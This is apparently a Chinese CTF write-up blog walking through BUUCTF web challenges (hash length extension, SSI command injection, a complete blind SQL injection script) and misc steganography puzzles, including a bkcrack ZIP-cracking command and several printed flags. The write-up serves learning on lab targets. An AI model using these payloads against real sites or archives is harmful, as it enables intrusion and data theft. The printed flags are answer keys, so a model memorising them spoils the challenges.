这里的action=scan是固定死了,接下开看验证逻辑

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

验证哦我们传的cookie,与他生成的是否相等,这里的漏洞就在于生成签名时param与action直接拼接,中间并没有符号,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (self.checkSign()):  # 先验证签名
if "scan" in self.action: # 扫描操作
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 执行扫描
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action: # 读取操作
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

这两个if语句是并列关系,也就是条件允许我们可以先先写入再读取,构造恶意签名

1
?param=/flagread  action=scan

生成的签名为

1
md5(secret_key/flagreadscan)

我们在验证时

1
?param=/flag    action=readscan

这是签名为

1
md5(secret_key/flagreadscan)

就会先写入再读取。

先获得签名

image-20260309205443922

然后读取文件

image-20260309205713385

这里读取为空,证明flag不在/flag,尝试后是在flag.txt

image-20260309205841592

第二种方法就是哈希扩展攻击,具体原理不在多说,

image-20260311170119983

这里的md5值时md5(secret_keyflag.txtscan),我们想要的是md5(secret_keyflag.txtscanread),使用hashdump

image-20260311174204186

这里一定要注意把\x替换为%,一定要注意!!!!,

image-20260311174340480

image-20260311174348037

[BJDCTF2020]EasySearch

刚还是以为是sql注入,尝试后发先不行,扫目录index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

代码分两个部分,先验证md5

1
2
3
4
5
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";

password的前6位是6d0bc1,爆破一下

image-20260309213511936

登入一下

image-20260309213538035

给出了生成文件名这里存在ssti,格式为

1
<!--#exec cmd="命令"-->

image-20260309214410372

flag不在根目录,环境变量也没有,找一下flagimage-20260309215139659

image-20260309215231887

[WUSTCTF2020]颜值成绩查询

成绩查询了考察的是sql注入,初步判断是数字型注入

经过判断这个是过滤了空格的

image-20260310110457838

使用/**/绕过空格

image-20260310110658889

接下来就是盲注了,参考脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests


url = "http://9144017b-5685-4eeb-b5b2-736111d27ce1.node5.buuoj.cn:81/" # 替换成目标URL
injection_param = "stunum" # 注入点参数名
max_len = 100 # 最多猜测字符数


def send_payload(pos, ch):
# 构造payload
print(f"trying {ord(ch)}")
# 爆库名
#payload = f"(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(0x7e,schema_name,0x7e)/**/FROM/**/information_schema.schemata),{pos},1))>ASCII('{ch}'))"
# 爆表名
#payload = f"(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(0x7e,table_name,0x7e)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='ctf'),{pos},1))>ASCII('{ch}'))"
# 爆列名
#payload = f"(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(0x7e,column_name,0x7e)/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='flag'),{pos},1))>ASCII('{ch}'))"
# 爆 flag
payload = f"(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(0x7e,flag,0x7e,value,0x7e)/**/FROM/**/flag),{pos},1))>ASCII('{ch}'))"
# 发送请求
params = {injection_param: payload}
try:
r = requests.get(url, params=params, timeout=5)
text = r.text
if "admin" in text:
#print("admin")
return True
elif "student number not exists" in text:
#print("student number not exists")
return False
else:
print("[!] Unexpected response content.")
return False
except Exception as e:
print(f"[!] Request error: {e}")
return "err"

def extract_names():
result = ""
last_result = ""
for pos in range(1, max_len + 1):

res= ""
l = 32
r = 126
while l <= r:
mid = (l + r) // 2
req_res = send_payload(pos, chr(mid))
if req_res == "err":
continue

elif req_res:
#result += chr(mid)
#print(f"[+] Found char at pos {pos}: {chr(mid)}")

l = mid + 1
else:
r = mid - 1
res = chr(mid)



result = result + res
if last_result.strip() == result.strip():
print(f"[!] No more characters found at position {pos}. Stopping extraction.")
break
last_result = result
print(result)

return result

if __name__ == "__main__":
dbs = extract_names()
print(f"\n[+] Extracted names (with '|'): {dbs}")

MISC

我吃三治

随波逐流分析发现图片中有隐藏图片,提取出来后有两张三明治,尝试了几种方法发现都不行,看wp才知道看图片十六进制数据,在两张图片中有一段base32编码

image-20260304212325207

解码得到flag,flag{6f1797d4080b29b64da5897780463e30}

[MRCTF2020]你能看懂音符吗

image-20260304212534021

随波逐流分析发现文件头别修改了,010修改文件头,附件是一个文档,有隐藏文字,修改文字属性

image-20260304212801991

看了几篇wp都是使用得同一个网站,但是现在不能用了,放一张图

image-20260304213713436

[ACTF新生赛2020]NTFS数据流

ntfs流隐写,什么7Z,WinRAR几个工具都试试就行了,使用工具扫描得到flag

image-20260304214947984

ACTF{AAAds_nntfs_ffunn?} ,根据题目要求

flag{AAAds_nntfs_ffunn?}

[SWPU2019]你有没有好好看网课?

解压附件得到有两个压缩包,提示密码是6位数字,爆破一下

image-20260305213235608

一个文档

image-20260305214211953

这个列文虎克好像是发明显微镜得那个,这两个应该是时间点,直接用电脑播放器是看不出什么的,看wp知道有一个工具kinovea

image-20260305215459891

image-20260305215514307

一个是敲击编码

:敲击码是基于5×5方格波利比奥斯方阵来实现的,不同点是是用K字母被整合到C中,因此密文的特征为1-5的两位一组的数字,编码的范围是A-Z字母字符集,字母不区分大小写。

img

….. ../… ./… ./… ../

1
2
3
..... .. / ... . / ... . / ... .. /
5,2 3,1 3,1 3,2
W L L M

另一个是base64解码

image-20260305215951013

和起来就是wllmup_up_up,随波逐流分析在图片尾有数据’

image-20260305220155186

flag{A2e_Y0u_Ok?}

[UTCTF2020]docx

把文档改为zip文件,在meida文件中有flag

image23

flag{unz1p_3v3ryth1ng}

sqltest

盲注流量,netA一把梭

image-20260306212408631

john-in-the-middle

这一题考察的我真是没想到,显示提取出流量包中的文件,最主要得是两个图片

1772803494.703809

查看lsb

image-20260306214211377

[ACTF新生赛2020]swp

分析看到这句话

image-20260306215609524

然后再流量包中有secret.zip是个加密压缩包,推测是伪加密,随波逐流修复后解压得到flag文件,是个elf文件,随波逐流分析

image-20260306215805593

flag{c5558bcf-26da-4f8b-b181-b61f3850b9e5}

[GXYCTF2019]SXMgdGhpcyBiYXNlPw==

首先题目名就可以base64解码

1
is this base?

查看附件是多行base,puzzlesolve神力

image-20260307215011108

间谍启示录

随波逐流分析附件发现有文件,提取出来发现有压缩包。解压得到flag.exe,进行程序即可得到flag

Flag{379:7b758:g7dfe7f19:9464f:4g9231}

小易的U盘

依旧是formost文件提取出一个压缩包,然后发现有一堆程序

image-20260307220554174

在autorun.inf

image-20260307220649557

证明这个程序不一样,直接运行就报错了,不会用IDA直接用随波逐流分析

image-20260307220752080

flag{29a0vkrlek3eu10ue89yug9y4r0wdu10}

[WUSTCTF2020]爬

010分析文件发现附件是一个pdf,改一下后缀

image-20260308181538995

移动一下图片

1_page_1_1

image-20260308183124995

flag{th1s_1s_@_pdf_and_y0u_can_use_phot0sh0p}

[DesCTF]Real sign in?

这个题目不是来自buuctf,只是正好参加了DesCTF,里面有一道misc题目,比赛时没有写出来,后来比赛结束跟群里的师傅们交流了一下这一题的解题思路。顺手记录一下。题目描述

image-20260308211633915

从附件中获得信息发送到微信公众号中然后获得flag。附件是一个加密的压缩包,里面只有一张图片,还是随波逐流分析

image-20260308212132395

这里可以看到压缩包是真加密,然后还有隐藏文件,这里看到文件末尾的信息,377abcaf这个就是7z文件的文件头,在这里用binwalk还有foremost是提取不出来的,用010

image-20260308212558599

稍微修改一下数据得到一个7z压缩包,解压得到两个矩阵

1
2
3
4
5
6
7
8
```
R[37 116 72 99] [[37 116 236 107]
[236 8 131 218] --> [8 72 99 131]
[107 219 75 254] [ 219 128 180 75]
[128 180 75 230]] [218 254 75 230]]
```


初步分析数值没有变就是位置换了。具体的还是交给ai分析

image-20260308213028767

具体原理就不说了,就是用的zigzag,跟大家交流才知道这是一个隐写,接下来就是如何解压这压缩包,就是要用明文攻击,这里没有明文,用到的是png文件头

image-20260308215527122

爆破的时间够刷一会抖音了

1
bkcrack -C 1.zip -k 5eb34ede c49019bf 815834b9 -D decrypted_1.zip

challenge

解压就是这个图片,这种扭曲图片在金盾杯见过一次,记忆犹新那个抽象企鹅,那个考的是猫脸变换,这个没有改参数考察的是zigzag

然后还原的到二维码

image-20260309185201109

没想到这直接把原图都给我了,gemini牛逼,脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import numpy as np
from PIL import Image

def get_zigzag_indices(n):
"""生成 n x n 矩阵的 Zig-Zag 扫描索引序列"""
indices = []
for k in range(2 * n - 1):
if k % 2 == 1:
# 奇数对角线:从右上向左下扫描 (i增加, j减少)
i_start = 0 if k < n else k - n + 1
i_end = k if k < n else n - 1
for i in range(i_start, i_end + 1):
indices.append((i, k - i))
else:
# 偶数对角线:从左下向右上扫描 (i减少, j增加)
j_start = 0 if k < n else k - n + 1
j_end = k if k < n else n - 1
for j in range(j_start, j_end + 1):
indices.append((k - j, j))
return indices

def recover_image(input_path, output_path):
# 读取原始杂乱图片
img = Image.open(input_path).convert('L')
pixels = np.array(img)
n = pixels.shape[0] # 假设为方阵

# 获取一维像素流
flat_pixels = pixels.flatten()

# 获取 Zig-Zag 映射索引
indices = get_zigzag_indices(n)

# 创建新矩阵并按索引填充
new_pixels = np.zeros((n, n), dtype=np.uint8)
for k, (i, j) in enumerate(indices):
if k < len(flat_pixels):
new_pixels[i, j] = flat_pixels[k]

# 保存结果
res_img = Image.fromarray(new_pixels)
res_img.save(output_path)
print(f"还原完成,结果已保存至: {output_path}")

# 执行还原
recover_image('challenge.png', 'flag_recovered.png')

I_love_DesCTF,发给那个公众号即可获得flag

image-20260308221208735

喵喵喵

依旧是随波逐流起手,没啥隐写信息,但是提示扫一扫就是二维码,lsb分析一下

image-20260309220040086

这里不是RGB,而是BGR,保存图片,这里可以看到文件头不对,修复一下,

image-20260309220540647

这明显高度不对,随波逐流修复一下

1-修复高宽

扫描时一个百度网盘的附件,下载文件发现附件flag.txt没有flag,考虑ntfs隐写

image-20260309221526885

有个pyc,反编译为py文件python反编译 - 在线工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
\#!/usr/bin/env python

\# visit http://tool.lu/pyc/ for more information

import base64

def encode():

flag = '*************'

ciphertext = []

for i in range(len(flag)):

​ s = chr(i ^ ord(flag[i]))

if i % 2 == 0:

​ s = ord(s) + 10

else:

​ s = ord(s) - 10

​ ciphertext.append(str(s))



return ciphertext[::-1]

ciphertext = [

'96',

'65',

'93',

'123',

'91',

'97',

'22',

'93',

'70',

'102',

'94',

'132',

'46',

'112',

'64',

'97',

'88',

'80',

'82',

'137',

'90',

'109',

'99',

'112']

稍微修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def decode(ciphertext):
# 步骤1:反转密文列表(还原加密时的[::-1]操作)
reversed_cipher = ciphertext[::-1]
flag = []

# 步骤2:遍历每个字符,逆向计算
for i in range(len(reversed_cipher)):
# 将字符串数字转为整数
s = int(reversed_cipher[i])

# 逆向奇偶位加减操作
if i % 2 == 0:
# 加密时+10,解密时-10
original_ord = s - 10
else:
# 加密时-10,解密时+10
original_ord = s + 10

# 逆向异或操作:i ^ original_ord 得到原始字符的ASCII码
char_ord = i ^ original_ord
# 转为字符
flag_char = chr(char_ord)
flag.append(flag_char)

# 拼接所有字符得到flag
return ''.join(flag)

# 给定的密文
ciphertext = [
'96', '65', '93', '123', '91', '97', '22', '93',
'70', '102', '94', '132', '46', '112', '64', '97',
'88', '80', '82', '137', '90', '109', '99', '112'
]

# 执行解密并输出flag
flag = decode(ciphertext)
print("解密得到的flag是:", flag)

这个跟攻防世界那个桌面题很像啊。

结语

先写这么多把,持续更新ing,👍👍👍